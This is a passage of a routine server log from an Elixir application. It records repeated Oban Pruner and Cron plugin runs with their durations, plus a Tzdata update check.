{"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:00.230 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:21:26.206 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:56.208 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:00.231 [info] {"source":"oban","duration":151,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:22:26.211 [info] {"source":"oban","duration":1892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:56.214 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:00.232 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:23:26.217 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:56.219 [info] {"source":"oban","duration":2264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:00.234 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:24:26.222 [info] {"source":"oban","duration":2036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:56.225 [info] {"source":"oban","duration":2051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:00.235 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:25:26.228 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:56.230 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:00.237 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:26:26.232 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:56.234 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:00.238 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:27:26.237 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:56.240 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:00.240 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:28:26.243 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:56.246 [info] {"source":"oban","duration":1950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:00.241 [info] {"source":"oban","duration":145,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:29:26.249 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:56.251 [info] {"source":"oban","duration":2141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:00.243 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:30:26.254 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:56.257 [info] {"source":"oban","duration":2079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:00.244 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:31:26.258 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:56.261 [info] {"source":"oban","duration":2207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:00.246 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:32:26.264 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:56.267 [info] {"source":"oban","duration":1999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:00.247 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:33:26.270 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:56.272 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:00.248 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:34:26.275 [info] {"source":"oban","duration":2147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:56.278 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:00.250 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:35:26.281 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:56.284 [info] {"source":"oban","duration":2062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:00.252 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:36:26.287 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:56.290 [info] {"source":"oban","duration":2060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:00.253 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:37:26.293 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:56.296 [info] {"source":"oban","duration":1992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:00.254 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:38:26.299 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:56.302 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:00.255 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:39:26.305 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:56.307 [info] {"source":"oban","duration":1938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:00.256 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:40:26.310 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:56.313 [info] {"source":"oban","duration":2087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:00.257 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:41:26.315 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:56.317 [info] {"source":"oban","duration":2107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:00.259 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:42:26.320 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:30.708 [debug] Tzdata polling for update. 22:42:30.898 [debug] Tzdata polling shows the loaded tz database is up to date. 22:42:56.323 [info] {"source":"oban","duration":2034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:00.261 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:43:26.326 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:56.328 [info] {"source":"oban","duration":1717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:00.262 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:44:26.331 [info] {"source":"oban","duration":2160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:56.334 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:00.264 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:45:26.336 [info] {"source":"oban","duration":1708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:56.339 [info] {"source":"oban","duration":2051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:00.266 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:46:26.342 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:56.344 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:00.267 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:47:26.347 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:56.350 [info] {"source":"oban","duration":2237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:00.269 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:48:26.353 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:56.356 [info] {"source":"oban","duration":2072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:00.270 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:49:26.359 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:56.362 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:00.271 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:50:26.365 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:56.368 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:00.272 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:51:26.370 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:56.373 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:00.273 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:52:26.376 [info] {"source":"oban","duration":2026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:56.379 [info] {"source":"oban","duration":2078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:00.274 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:53:26.380 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:56.383 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:00.275 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:54:26.386 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:56.389 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:00.277 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:55:26.392 [info] {"source":"oban","duration":1746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:56.395 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:00.279 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:56:26.398 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:56.399 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:00.280 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:57:26.402 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:56.405 [info] {"source":"oban","duration":1799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:00.281 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:58:26.408 [info] {"source":"oban","duration":1890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:56.411 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:00.281 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:59:26.414 [info] {"source":"oban","duration":2077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:56.417 [info] {"source":"oban","duration":1901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:00.283 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:00:26.420 [info] {"source":"oban","duration":2067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:56.423 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:00.285 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:01:26.426 [info] {"source":"oban","duration":1893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:56.429 [info] {"source":"oban","duration":2217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:00.286 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:02:26.432 [info] {"source":"oban","duration":1592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:56.436 [info] {"source":"oban","duration":2500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:00.287 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:03:26.439 [info] {"source":"oban","duration":2022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:56.442 [info] {"source":"oban","duration":1616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:00.288 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:04:26.444 [info] {"source":"oban","duration":1781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:56.447 [info] {"source":"oban","duration":2060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:00.289 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:05:26.450 [info] {"source":"oban","duration":1819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:56.453 [info] {"source":"oban","duration":2051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:00.291 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:06:26.456 [info] {"source":"oban","duration":2097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:56.459 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:00.293 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:07:26.461 [info] {"source":"oban","duration":1864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:56.464 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:00.294 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:08:26.467 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:56.470 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:00.295 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:09:26.473 [info] {"source":"oban","duration":2037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:56.476 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:00.297 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:10:26.478 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:56.481 [info] {"source":"oban","duration":2039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:00.298 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:11:26.484 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:56.487 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:00.299 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:12:26.490 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:56.493 [info] {"source":"oban","duration":2052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:00.299 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:13:26.496 [info] {"source":"oban","duration":2222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:56.499 [info] {"source":"oban","duration":2075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:00.301 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:14:26.502 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:56.504 [info] {"source":"oban","duration":1669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:00.303 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:15:26.507 [info] {"source":"oban","duration":1704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:56.510 [info] {"source":"oban","duration":2060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:00.304 [info] {"source":"oban","duration":148,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:16:26.513 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:56.515 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:00.306 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:17:26.518 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:56.521 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:00.308 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:18:26.523 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:56.525 [info] {"source":"oban","duration":1637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:00.310 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:19:26.528 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:56.530 [info] {"source":"oban","duration":1700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:00.312 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:20:26.533 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:56.535 [info] {"source":"oban","duration":1652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:00.312 [info] {"source":"oban","duration":171,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:21:26.538 [info] {"source":"oban","duration":2244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:56.541 [info] {"source":"oban","duration":2208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:00.314 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:22:26.544 [info] {"source":"oban","duration":1671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:56.547 [info] {"source":"oban","duration":2079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:00.315 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:23:26.550 [info] {"source":"oban","duration":2061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:56.553 [info] {"source":"oban","duration":1876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:00.317 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:24:26.556 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:56.559 [info] {"source":"oban","duration":1867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:00.318 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:25:26.562 [info] {"source":"oban","duration":2074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:56.565 [info] {"source":"oban","duration":2040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:00.319 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:26:26.568 [info] {"source":"oban","duration":2068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:56.571 [info] {"source":"oban","duration":2031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:00.321 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:27:26.574 [info] {"source":"oban","duration":1677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:56.577 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:00.322 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:28:26.580 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:56.583 [info] {"source":"oban","duration":2060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:00.323 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:29:26.586 [info] {"source":"oban","duration":2076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:56.589 [info] {"source":"oban","duration":1962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:00.325 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:30:26.592 [info] {"source":"oban","duration":1953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:56.595 [info] {"source":"oban","duration":1924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:00.327 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:31:26.598 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:56.601 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:00.328 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:32:26.604 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:56.607 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:00.329 [info] {"source":"oban","duration":164,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:33:26.610 [info] {"source":"oban","duration":2050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:56.613 [info] {"source":"oban","duration":2104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:00.331 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:34:26.616 [info] {"source":"oban","duration":2064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:56.619 [info] {"source":"oban","duration":2072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:00.333 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:35:26.622 [info] {"source":"oban","duration":2053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:56.625 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:00.334 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:36:26.626 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:56.628 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:00.336 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:37:26.630 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:56.633 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:00.337 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:38:26.636 [info] {"source":"oban","duration":2077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:56.639 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:00.339 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:39:26.642 [info] {"source":"oban","duration":2059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:56.645 [info] 